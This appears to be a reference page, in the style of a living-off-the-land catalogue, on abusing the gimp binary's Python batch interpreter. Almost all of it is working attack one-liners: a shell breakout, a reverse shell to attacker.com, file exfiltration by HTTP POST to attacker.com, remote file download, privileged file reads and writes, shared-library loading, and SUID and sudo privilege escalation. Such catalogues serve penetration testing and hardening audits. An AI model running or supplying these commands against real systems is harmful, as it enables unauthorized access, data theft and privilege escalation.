.. / gimp
Star

The binary hangs after executing the Python code and can be terminated pressing ctrl-c.

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

gimp -idf --batch-interpreter=python-fu-eval -b 'import os; os.system("sh")'

Reverse shell

It can send back a reverse shell to a listening attacker to open a remote network access.

Run socat file:`tty`,raw,echo=0 tcp-listen:12345 on the attacker box to receive the shell.

export RHOST=attacker.com
export RPORT=12345
gimp -idf --batch-interpreter=python-fu-eval -b 'import sys,socket,os,pty;s=socket.socket()
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")'

File upload

It can exfiltrate files on the network.

Send local file via “d” parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.

export URL=http://attacker.com/
export LFILE=file_to_send
gimp -idf --batch-interpreter=python-fu-eval -b 'import sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u
else: import urllib as u, urllib2 as r
r.urlopen(e["URL"], bytes(u.urlencode({"d":open(e["LFILE"]).read()}).encode()))'

Serve files in the local folder running an HTTP server.

export LPORT=8888
gimp -idf --batch-interpreter=python-fu-eval -b 'import sys; from os import environ as e
if sys.version_info.major == 3: import http.server as s, socketserver as ss
else: import SimpleHTTPServer as s, SocketServer as ss
ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()'

File download

It can download remote files.

Fetch a remote file via HTTP GET request.

export URL=http://attacker.com/file_to_get
export LFILE=file_to_save
gimp -idf --batch-interpreter=python-fu-eval -b 'import sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r
else: import urllib as r
r.urlretrieve(e["URL"], e["LFILE"])'

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

gimp -idf --batch-interpreter=python-fu-eval -b 'open("file_to_write", "wb").write("DATA")'

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

gimp -idf --batch-interpreter=python-fu-eval -b 'print(open("file_to_read").read())'

Library load

It loads shared libraries that may be used to run code in the binary execution context.

gimp -idf --batch-interpreter=python-fu-eval -b 'from ctypes import cdll; cdll.LoadLibrary("lib.so")'

SUID

It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian that allow the default sh shell to run with SUID privileges.

sudo sh -c 'cp $(which gimp) .; chmod +s ./gimp'

./gimp -idf --batch-interpreter=python-fu-eval -b 'import os; os.execl("/bin/sh", "sh", "-p")'

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

sudo gimp -idf --batch-interpreter=python-fu-eval -b 'import os; os.system("sh")'

.. / gimp Star